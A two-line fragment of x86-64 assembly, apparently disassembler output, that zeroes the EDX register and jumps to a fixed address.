xor edx, edx
jmp 0x14000943c